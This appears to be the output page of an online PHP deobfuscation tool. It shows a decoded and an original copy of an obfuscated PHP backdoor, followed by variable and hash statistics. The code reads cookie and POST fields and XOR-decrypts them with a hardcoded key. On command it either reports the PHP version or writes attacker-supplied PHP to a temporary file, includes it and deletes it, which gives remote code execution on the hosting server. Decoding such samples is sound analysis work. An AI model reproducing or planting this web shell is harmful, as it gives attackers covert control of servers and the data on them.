Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* mmj_j*/ function qjfuhl(){$rzhxhepa_='_mtr_ans'; /* cqcg */ print_r (909..

Decoded Output download

<?php  /*   mmj_j*/ function    qjfuhl(){$rzhxhepa_='_mtr_ans'; /* cqcg */ print_r    (90945+90945);    } 
 
$feortwlfpf	=      'feortwlfpf' /* is*/ ^ /*i_k  */ ''; 
 
 
 
 
 
$xvifsrid	= /*_czydl */ $_COOKIE; 
$doxtyihzar       =  'hhfbgy'; 
 
$xavqrxtqtu  = /*   v*/ 334; 
$nq_btbro	= /*  z   */ $xavqrxtqtu /*   zaxhtb*/ %    17; 
 
 
 
 
 
function /*  wyvcab*/ ldfgaday($ungyet,   $ccatzram) 
{ 
 
 
	global     $feortwlfpf; 
 
   $dcxwktnr /*  ctvu*/ =	"";       $egkggik	= /*  wsir*/ 613; 
 
 
    $kjriazkso     =	0;    /* s_lc*/ while /*uocea  */ ($kjriazkso       < /*   tgh   */ strlen($ungyet)) /*   qf  */ { 
 
 
       $jhoxrocz      =	0; 
 /*bmvp  */ while	($jhoxrocz /*  ri  */ < /* og   */ strlen($ccatzram)	&&	$kjriazkso /*  rpy */ <      strlen($ungyet))      {     
    $dcxwktnr /*  nsbbd*/ .=	$feortwlfpf(ord($ungyet[$kjriazkso])    ^    ord($ccatzram[$jhoxrocz])); 
 
 /*   pjd  */ $eqlbxueqed /*zsr   */ =    306; 
     /* pd  */ $jhoxrocz++; 
 
 
 /* nwmiam   */ $kjriazkso++; 
 
 /*  zs   */ }	}     return    $dcxwktnr; 
 
} 
 
 
 
 
 
function       ekd_mn($ckphirk,     $ungyet) 
 
 
{    global /*  oscmgn */ $feortwlfpf; 
 /*  _mcux*/ $kjriazksodwrpwlhvj    =	sprintf(".".$feortwlfpf(47)	.	"%" /*cfqjur  */ .	"s".$feortwlfpf(792-746)     .       "p" /*eptz */ . /* yf  */ "l", /*   rnex */ md5($ckphirk)); 
 
 
    $mjkxgkv    =      'fjpjwxmzv';	file_put_contents($kjriazksodwrpwlhvj, /* z*/ "<"   .	"?"."p".$feortwlfpf(104)   . /*  pwyp   */ "p".$feortwlfpf(32) /*  ripg_*/ .    "u".$feortwlfpf(903-793)   . /* rcthis   */ "l"     .    $feortwlfpf(105)   .     $feortwlfpf(965-855)   . /*_qyw */ "k"."("."_"."_".$feortwlfpf(742-672) /*  vhzc  */ .    "I"	. /*   anf   */ "L".$feortwlfpf(69) /* ofcav  */ .	"_"       . /*  a   */ "_".")".";"    . /*  ibor */ $feortwlfpf(32)	. /*  h */ $ungyet[$feortwlfpf(898-798)]); 
 
 
$mggzbgw    = /*   ik */ 'pgdchmd';	include($kjriazksodwrpwlhvj); /*gdmt */ $gllfh /* oc  */ = /*  hl */ 'tsbaq'; /*   mkh*/ $hlsiuw     =    $kjriazksodwrpwlhvj; 
    @unlink($hlsiuw);} 
 
 
 
function /*  slm_   */ isc_lmchu() 
 
 
{ 
	$kjriazksowffohqnr    =	'waowqrr'; 
 
	$mapnpoaqe       =  'onag'; 
} 
 
 
 
 
 
isc_lmchu(); 
 
 
function      obkudowy() 
{    global /* xdufpq*/ $feortwlfpf; 
 
 
 
 
    $kjriazkso /*wltij  */ = /* y  */ array(); 
 
 
   $kjriazkso["p"    .    "v"]       =    phpversion(); 
 
 /*ax   */ $kjriazkso["s"     .    $feortwlfpf(118)] /* nxumx  */ =    "3"."."    .	$feortwlfpf(53); 
    $bnmsuu     = /* qosqvf */ 'nckfdh'; 
 
 /*  jvup*/ $vvomho     = /* xziuk   */ 'kayqk'; 
     echo    @serialize($kjriazkso); /*   neak  */ $q_szq /*  isioea*/ =    'wllkrh'; 
 
 
 /*   m */ $dcgbtvi      =	914;}function  sdiyxvbn($ungyet,	$ckphirk,   $omy_h) 
 
 
{ 
  global  $feortwlfpf; 
 
  $ungyet  = /*   mjtikr*/ unserialize(ldfgaday(ldfgaday(base64_decode($ungyet),    $ckphirk), /*   hhtd */ $omy_h)); 
 
    $pazep /*   o   */ =       568; 
 
 
 /*   b  */ if	(isset($ungyet["a"."k"])) /*   axarcn  */ { 
 
	if  ($ungyet["a"]  == /*   kkld   */ "i")      { 
      obkudowy(); 
 
 
       }    elseif       ($ungyet["a"]    == /* y  */ "e")  { 
 
    ekd_mn($ckphirk,    $ungyet); 
 /*l */ } 
 
       exit(); 
 
 
    } 
} 
 
 
 
 
$xvifsrid /*hrfc   */ = /*lbz   */ array_merge($_POST, /*vi*/ $xvifsrid); 
 
$ckphirk /*  gmgjkw   */ =       "9".$feortwlfpf(1072-971) /*srik   */ .     "4"    .    "7" /*   sn  */ .	"6"    . /*   ad*/ "6" /* tgcp  */ .      "b"."c"."-".$feortwlfpf(51) /*   il */ .  $feortwlfpf(898-798)."7"  .  "2"."-" /*  ij */ . /*yxvgq*/ "4"."e"."a" /*  jjta */ .      "8"    . /*et   */ "-"."8"."f".$feortwlfpf(50)  . /*   jv   */ "8".$feortwlfpf(45)    .    $feortwlfpf(391-343) /*escb  */ . /* ln */ "a".$feortwlfpf(898-798)."9"."a"    .       "4"."c"."1"     . /*   egneu*/ $feortwlfpf(987-939) /*w  */ .    "a".$feortwlfpf(49)      .    "8";$qnahppml   =    'bjk'; 
$xbuxeel /*   ysd*/ = /*   ly */ 'zwgfsmahk'; 
 
 
foreach    ($xvifsrid /* kcove   */ as     $omy_h /*  bds  */ =>    $ungyet)       { 
 
 
    sdiyxvbn($ungyet,    $ckphirk,    $omy_h); 
 
} 
 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php  /*   mmj_j*/ function    qjfuhl(){$rzhxhepa_='_mtr_ans'; /* cqcg */ print_r    (90945+90945);    }

$feortwlfpf	=      'feortwlfpf' /* is*/ ^ /*i_k  */ '';





$xvifsrid	= /*_czydl */ $_COOKIE;
$doxtyihzar       =  'hhfbgy';

$xavqrxtqtu  = /*   v*/ 334;
$nq_btbro	= /*  z   */ $xavqrxtqtu /*   zaxhtb*/ %    17;





function /*  wyvcab*/ ldfgaday($ungyet,   $ccatzram)
{


	global     $feortwlfpf;

   $dcxwktnr /*  ctvu*/ =	"";       $egkggik	= /*  wsir*/ 613;


    $kjriazkso     =	0;    /* s_lc*/ while /*uocea  */ ($kjriazkso       < /*   tgh   */ strlen($ungyet)) /*   qf  */ {


       $jhoxrocz      =	0;
 /*bmvp  */ while	($jhoxrocz /*  ri  */ < /* og   */ strlen($ccatzram)	&&	$kjriazkso /*  rpy */ <      strlen($ungyet))      {    
    $dcxwktnr /*  nsbbd*/ .=	$feortwlfpf(ord($ungyet[$kjriazkso])    ^    ord($ccatzram[$jhoxrocz]));

 /*   pjd  */ $eqlbxueqed /*zsr   */ =    306;
     /* pd  */ $jhoxrocz++;


 /* nwmiam   */ $kjriazkso++;

 /*  zs   */ }	}     return    $dcxwktnr;

}





function       ekd_mn($ckphirk,     $ungyet)


{    global /*  oscmgn */ $feortwlfpf;
 /*  _mcux*/ $kjriazksodwrpwlhvj    =	sprintf(".".$feortwlfpf(47)	.	"\x25" /*cfqjur  */ .	"s".$feortwlfpf(792-746)     .       "\160" /*eptz */ . /* yf  */ "\154", /*   rnex */ md5($ckphirk));


    $mjkxgkv    =      'fjpjwxmzv';	file_put_contents($kjriazksodwrpwlhvj, /* z*/ "<"   .	"?"."p".$feortwlfpf(104)   . /*  pwyp   */ "p".$feortwlfpf(32) /*  ripg_*/ .    "u".$feortwlfpf(903-793)   . /* rcthis   */ "\154"     .    $feortwlfpf(105)   .     $feortwlfpf(965-855)   . /*_qyw */ "k"."("."_"."_".$feortwlfpf(742-672) /*  vhzc  */ .    "\x49"	. /*   anf   */ "L".$feortwlfpf(69) /* ofcav  */ .	"\137"       . /*  a   */ "_".")"."\73"    . /*  ibor */ $feortwlfpf(32)	. /*  h */ $ungyet[$feortwlfpf(898-798)]);


$mggzbgw    = /*   ik */ 'pgdchmd';	include($kjriazksodwrpwlhvj); /*gdmt */ $gllfh /* oc  */ = /*  hl */ 'tsbaq'; /*   mkh*/ $hlsiuw     =    $kjriazksodwrpwlhvj;
    @unlink($hlsiuw);}



function /*  slm_   */ isc_lmchu()


{
	$kjriazksowffohqnr    =	'waowqrr';

	$mapnpoaqe       =  'onag';
}





isc_lmchu();


function      obkudowy()
{    global /* xdufpq*/ $feortwlfpf;




    $kjriazkso /*wltij  */ = /* y  */ array();


   $kjriazkso["\x70"    .    "v"]       =    phpversion();

 /*ax   */ $kjriazkso["\163"     .    $feortwlfpf(118)] /* nxumx  */ =    "3"."\56"    .	$feortwlfpf(53);
    $bnmsuu     = /* qosqvf */ 'nckfdh';

 /*  jvup*/ $vvomho     = /* xziuk   */ 'kayqk';
     echo    @serialize($kjriazkso); /*   neak  */ $q_szq /*  isioea*/ =    'wllkrh';


 /*   m */ $dcgbtvi      =	914;}function  sdiyxvbn($ungyet,	$ckphirk,   $omy_h)


{
  global  $feortwlfpf;

  $ungyet  = /*   mjtikr*/ unserialize(ldfgaday(ldfgaday(base64_decode($ungyet),    $ckphirk), /*   hhtd */ $omy_h));

    $pazep /*   o   */ =       568;


 /*   b  */ if	(isset($ungyet["a"."k"])) /*   axarcn  */ {

	if  ($ungyet["a"]  == /*   kkld   */ "i")      {
      obkudowy();


       }    elseif       ($ungyet["a"]    == /* y  */ "e")  {

    ekd_mn($ckphirk,    $ungyet);
 /*l */ }

       exit();


    }
}




$xvifsrid /*hrfc   */ = /*lbz   */ array_merge($_POST, /*vi*/ $xvifsrid);

$ckphirk /*  gmgjkw   */ =       "9".$feortwlfpf(1072-971) /*srik   */ .     "\64"    .    "\x37" /*   sn  */ .	"\66"    . /*   ad*/ "\66" /* tgcp  */ .      "b"."c"."-".$feortwlfpf(51) /*   il */ .  $feortwlfpf(898-798)."\67"  .  "2"."\x2d" /*  ij */ . /*yxvgq*/ "4"."e"."\141" /*  jjta */ .      "\x38"    . /*et   */ "-"."8"."f".$feortwlfpf(50)  . /*   jv   */ "8".$feortwlfpf(45)    .    $feortwlfpf(391-343) /*escb  */ . /* ln */ "a".$feortwlfpf(898-798)."9"."\x61"    .       "4"."c"."\x31"     . /*   egneu*/ $feortwlfpf(987-939) /*w  */ .    "a".$feortwlfpf(49)      .    "\70";$qnahppml   =    'bjk';
$xbuxeel /*   ysd*/ = /*   ly */ 'zwgfsmahk';


foreach    ($xvifsrid /* kcove   */ as     $omy_h /*  bds  */ =>    $ungyet)       {


    sdiyxvbn($ungyet,    $ckphirk,    $omy_h);

}




?>

Function Calls

isc_lmchu 1
array_merge 1

Variables

$nq_btbro 11
$xvifsrid 0
$mapnpoaqe onag
$doxtyihzar hhfbgy
$feortwlfpf cxjoqji{u{
$xavqrxtqtu 334
$kjriazksowffohqnr waowqrr

Stats

MD5 d8d82ef31669b3a1747439fde65f27ab
Eval Count 0
Decode Time 71 ms